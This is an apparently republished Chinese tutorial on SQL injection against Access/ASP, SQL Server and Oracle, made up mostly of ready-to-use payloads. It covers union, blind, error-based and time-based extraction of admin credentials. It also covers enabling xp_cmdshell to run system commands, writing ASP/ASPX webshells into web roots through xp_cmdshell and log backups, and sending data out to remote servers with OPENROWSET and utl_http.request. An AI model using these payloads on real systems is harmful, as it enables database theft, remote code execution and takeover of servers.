SQL注入-其他数据库(AccessSQLserverOracle)

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入-其他数据库(AccessSQLserverOracle)相关的知识,希望对你有一定的参考价值。

access+asp

基础

  1. access数据库
    • Microsoft Access是Microsoft的数据库管理系统(DBMS)一般搭配windows server IIS和asp使用
    • acccess数据库与其他数据库不同,没有存储表的库,只有表
    • Access数据库属于文件型数据库所以不需要端口号,access数据库有2种后缀格式:.mdb和.accdb,区别是.mdb是access2003版及以前,.accdb是2007版access的格式
  2. asp
    • ASP(Active Server Pages 动态服务器页面)是一种生成动态交互性网页的强有力工具
    • ASP 是在 IIS 中运行的程序,编程语言为 vbscript
    • ASP 文件通常包含 html 标签,就像 HTML 文件。然而,ASP 文件也能包含服务器脚本,这些脚本被分隔符 <% 和 %> 包围起来
    • ASP目前最新的版本为3.0,与Windows 2000一起发行,并内植于IIS 5.0中
  3. access数据库结构
    • 字段
    • 数据

可以使用可视化工具查看表,菜单-打开数据库-找到数据库文件导入即可

启动web服务

ASPWEB*架设工具是专用于本地测试ASP程序开发的一个小工具

IIS小工具(99端口版) 把此文件放在本地的站点中,双击,就会自动弹出网站

aspweb.exe只能在win xp等系统上运行

联合查询

首先判断是否存在SQL注入

通过关键词 and 和 or 注入判断语句

and
?ID=104 and 1=1	正确页面
?ID=104 and 1=2	错误页面

or
?ID=-104 or 1=2 错误页面 (两个都查询不到报错)
?ID=104 or 1=1 正常页面  (只要其中有一个能查到那就正常)

判断当前表的字段数

?id=110 order by 10 (news表字段数刚好十个)正常
?id=110 order by 11 错误(没有十一个字段)

因为access没有库,更没有information_schema,所以之后通过猜测的方法确定表

?id=110 union select 1,2,3,4,5,6,7,8,9,10 from admin
将 admin 换成别的表

然后再猜字段,将回显的数字替换成要猜的字段

盲注

因为表名和字段名都需要猜,所以需要类似于盲注的方法来逐字猜解

如果存在注入,首先猜表名

http://127.0.0.1:99/shownews.asp?id=110 and exists (select * from admin)

# 如果页面返回正常,说明表存在

得到表名后猜解列名

http://127.0.0.1:99/shownews.asp?id=110 and exists (select username from admin)
http://127.0.0.1:99/shownews.asp?id=110 and exists (select password from admin)

# 如果页面返回正常,说明列明存在

猜数据长度

http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 len(username) from admin)=8

# 等于8就是确定数据的长度 也可以使用大于(>)小于(<), 等于(=)最好确定长度

猜每一位字符

mid() 截取位置
asc() ascii码
第一个长度的ascii码长度 页面返回正常
http://127.0.0.1:99/shownews.asp?id=110 and (select top 1 asc(mid(username,1,1)) from admin)=97
猜解完之后 把ascii码 转换过来 并接 就是username字段的的数据,其他字段也是这样

盲注步骤和mysql基本一致

SQL server

基础

  • SQL Server(MS SQL)数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433
  • 数据库后缀名 .mdf
  • SQL server经常与 asp 或者 aspx 搭配使用,操作系统 win2012 win2018
  • 数据库版本多为 sql2008 sql2012
  • 注释符号 --空格为单行注释,/**/为多行注释

SQL server有三个权限级别

  1. sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  2. db权限:文件管理,数据库操作等权限 users-administrators
  3. public权限:数据库操作 guest-users

判断当前用户权限方法

判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

默认库

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的

  • master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息
  • model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满
  • msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库
  • tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表
但是如果用navicat远程连接的话,只会显示2个实例数据库:ReportServer、ReportServerTempDB

联合查询

注入步骤大同小异

1.首先判断是否存在注入

通过输入 '单引号,是否报错了判断是否存在注入,iis的报错信息是比较明显的

2.用 order by 判断列数

?id=1 order by 3
# 没有报错
?id=1 order by 4
# 发生报错提示超出了选择列表中项数

3.联合查询

需要注意的是SQL server中联合查询需要每个列的数据类型是一致的,比如下面这种就会报错

可以用’'包裹

?id=-1 union select 1,'2','3'

也可以用null

?id=1 union select null,null,null

使用函数查询系统信息

db_name()	数据库名
@@version	版本信息
User_name()	当前用户
host_name()	计算机名称

4.查询数据

如果表名不对的话会报错

报错注入

SQL server在语句执行错误时会报错,并且会在网页上显示出来,可以通过报错将信息带出

  • 显示系统信息

    ?id=-1 and @@version>0
    # 利用SQL server对数据类型的敏感制造报错,带出信息
    

  • 显示数据库信息

    ?id=-1 and db_name()>0
    

  • 显示当前用户信息

    ?id=-1 and user_name()>0
    
    # 注意 dbo 用户是最高权限用户
    
  • 爆出其他数据库

    ?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
    

    ?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
    # 将master数据库排除,再查看其他数据库,直到查询完全部数据库
    
    ?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb','mydb','ReportServer', 'ReportServerTempDB', 'tempdb'))>0
    查询完毕
    
  • 爆表

    ?id=-1 and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0
    
    ?id=-1 and (select top 1 name from mydb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('cmd','test_tmp'))>0
    
  • 爆字段

    ?id=1 and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0
    
    ?id=1 and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID','username'))>0
    
  • 爆出数据

    ?id=1 and (select top 1 username from admin)>0
    
    ?id=1 and (select top 1 password from admin)>0
    

information_schema

和MySQL相似,在SQL_SERVER 中 每个数据库中都有 视图->系统视图

在这个下面都有很多关于这个库的表,表里面存放了很多关于这个库的信息

1.查询当前用户

?id=1 and user_name()>1

2.根据当前用户爆出所有表

?id=1 and(select TABLE_NAME  from  information_schema.TABLES   where TABLE_SCHEMA='dbo' FOR XML PATH)>1

3.爆出所有列

?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1

4.爆出数据

?id=1 and  ( select username,password from admin FOR XML PATH)>1

延时注入

WAITFOR 函数是SQLServer中的Transcat-SQL提供的一个流程控制语句,它的作用是等待特定时间,然后执行后续的语句,它包含一个参数DELAY,用来指定等待的是时间

waitfor delay ‘0:0:5’ 等待5秒钟后执行操作,页面将在5秒后返回

select 1 waitfor delay ‘0:0:5’

判断注入

http://www.demo1.com/index.jspx?id=1 waitfor delay ‘0:0:5’

页面延时返回

利用截取字符判断法来进行盲注

DB_NAME() mydb

SUBSTRING 从第一位开始取一位

select SUBSTRING(DB_NAME(),1,1)

select * from art where id = 1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'--

select * from art where id = 1 if(SUBSTRING(DB_NAME(),2,1)='y') waitfor delay '0:0:5'--
不区分大小写

方法类似于MySQL盲注

也可以用ascii码来判断

select * from art where id = 1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=100 WAITFOR DELAY '0:0:5';

执行系统命令

堆叠查询

SQL server中是可以执行多行多行操作的,既堆叠查询(堆叠注入的局限性:堆叠注入并不是在哦任何换环境下都可以执行的,可能受到API或者数据库引擎不支持的限制(如Oracle数据库),也有可能权限不足)

两条语句使用分号隔开

select * from art;select * from admin;

xp_cmdshell

xp_cmdshell在 mssql2000 中默认开启,在 mssql2005 之后的版本中默认禁止

执行系统命令

EXEC master.dbo.xp_cmdshell 'ipconfig'
# 即使执行成功页面也是无法回显。推荐写入shell

下图说明 xp_cmdshell 未开启

如果用户拥有管理员 sa 权限,可以用 sp_configure 重新开启

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

命令解释
EXEC sp_configure 'show advanced options',1
//允许修改高级参数
RECONFIGUREEXEC sp_configure 'xp_cmdshell',1  
//打开xp_cmdshell扩展RECONFIGURE

写入木马getshell

# asp
?id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\\inetpub\\wwwroot\\www.demo1.com\\2.asp' -- 

# aspx
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>D:\\2.aspx'

也可以执行系统命令 把命令结果输出到指定文件

?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\\inetpub\\wwwroot\\www.demo1.com\\ip.txt'

LOG备份getshell

通过差异备份拿shell经常出错,所以推荐以下操作

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

SQLServer常见的备份策略:

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务日志备份

利用前提

  • 目标机器存在数据库备份文件 ,也就是如果我们利用 test 数据库的话,则需要该 test 数据库存在数据库备份文件,而且恢复模式得是 完整模式
  • 知道网站的绝对路径,找绝对路径的方法,链接
  • 该注入支持堆叠注入

具体步骤如下

alter database 数据库名 set RECOVERY FULL;   
#修改数据库恢复模式为 完整模式
create table cmd (a image);        
#创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;   
#备份表到指定路径
insert into cmd (a) values(0x3C25657865637574652872657175657374282261222929253EDA);  
#插入一句话到cmd表里,一句话木马<%execute(request("a"))%>需要转换成16进制形式
backup log 数据库名 to disk='C:/inetpub/wwwroot/www.demo1.com/123.asp';   
#把操作日志备份到指定文件
drop table cmd;    
#删除cmd表

生成shell后可以用工具连接

openrowset转发

适用于盲注,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器,将当前数据转发到远程的sqlserver上

条件是:存在注入的服务器可以访问远程SQL sever

  • 启用Ad Hoc Distributed Queries:

    ;exec sp_configure ‘show advanced options’,1 reconfigure

    ;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure

  • 为了安全使用完成后,关闭Ad Hoc Distributed Queries:

    ;exec sp_configure ‘Ad Hoc Distributed Queries’,0 reconfigure

    ;exec sp_configure ‘show advanced options’,0 reconfigure

  1. 开启扩展

    http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
    

    本地建立临时表

    create table ##version (VERSION varchar(500))
    
  2. 查询系统信息

    http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
    

    执行上面语句之后 再来查询远程sqlserver上的表

    select * from ##version
    

  3. 两边创建临时表

    create table ##nonamed( dir ntext, num int )
    http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )
    
  4. 查询路径

    insert %23%23nonamed execute master..xp_dirtree 'c:/',1
    

    向nonamed表插入c盘下路径的数据

    http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
    

    这里就是把数据转发到远程192.168.0.122 sqlserver上

    http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
    

    在远程sqlserver执行这个命令 就可以获取 数据

    select * from %23%23nonamed
    

Oracle

基础

  • ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一

    https://www.w3cschool.cn/oraclejc/oraclejc-dxgu2qqt.html

  • Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码

  • Oracle一般配合jsp使用, 默认端口号为:1521

  • Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP:

    1. SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
    2. SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
    3. UNDOTBS:用于事务回退等
    4. TEMP:作为缓存空间减少内存负担
    5. USERS:就是存储我们定义的表和数据

    在Oracle中每个表空间中均存在一张dual表,这个表是虚表,并没有实际的存储意义,它永远只存储一条数据,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来作为计算、查询时间等SQL语句中from之后的虚表占位,也就是select 1+1 from dual

  • Oracle中用户和权限划分:Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:

    1. sys:相当于 Linux 下的 root 用户。为 DBA 角色
    2. system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
    3. public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

联合查询注入

  • 注释符号

    – 单行注释

    /**/ 多行注释

1.判断是否存在注入

?username=SMITH' and 1=1-- 
?username=SMITH' and 1=2-- 

2.判断列数

?username=SMITH' order by  8-- 

3.联合查询

也可以使用联合查询去判断列数

因为Oracle和SQL server一样对列的类型比较严谨,所以需要使用 null 匹配任意类型

?username=SMITH' union select null,null,null,null,null,null,null,null from dual-- 

4.获取Oracle信息

  • 当前用户权限 (select * from session_roles)
  • 当前数据库版本 (select banner from sys.v_$version where rownum=1)
  • 服务器出口IP (用utl_http.request 可以实现)
  • 服务器监听IP (select utl_inaddr.get_host_address from dual)
  • 服务器操作系统 (select member from v$logfile where rownum=1)
  • 服务器sid (select instance_name from v$instance)
  • 当前连接用户 (select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)
  • 当前用户 (SELECT user FROM dual)
?username=SMITH' union select null,null,(SELECT user FROM dual),null,null,null,null,null from dual-- 

5.查询库名

?username=99%27 union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- 

?username=99%27 union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual -- 

和SQL server一样也是一个一个库的查

6.查询表

?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual  -- 

查询其他的表

注意:表名一定是大写的

?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual -- 

7.查询列

查询 表 ADMIN第一个列

?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual -- 

查询第二个列

?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual -- 

使用同样的方法查询第三个列

?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,null from dual -- 

8.查询数据

?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual-- 

9.扩展查询其他数据

  • 当前用户:

    SELECT user FROM dual;

  • 列出所有用户:

    SELECT username FROM all_users ORDER BY username;

  • 列出数据库

    SELECT DISTINCT owner FROM all_tables;

  • 列出表名:

    SELECT table_name FROM all_tables;

    SELECT owner, table_name FROM all_tables;

  • 查询表所有列

    SELECT column_name FROM all_tab_columns WHERE TABLE_NAME=‘ADMIN’;

  • 定位文件

    SELECT name FROM V$DATAFILE;

反弹注入

Oracle+jsp utl_http.request 反弹注入

通过utl_http.request可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法的用户需要有 utl_http 访问网络的权限

1.检测是否支持 utl_http.request

如果页面正常就是支持

?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

2.反弹注入命令

?id=1 and  utl_http.request('http://192.168.0.121:2008/'||(select banner from sys.v_$version where rownum=1))=1-- 

# 语句分析
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 -- 

注意 || 要 url 编码 %7C%7C

poc

?id=1 and  utl_http.request('http://10.242.198.5:8888/'%7C%7C(select banner from sys.v_$version where rownum=1))以上是关于SQL注入-其他数据库(AccessSQLserverOracle)的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入学习总结:其他SQL注入的异或注入

Web漏洞-SQL注入(下)

SQL注入笔记

什么叫sql注入,如何防止sql注入

sql注入的SQL注入技术

SQL注入(入门)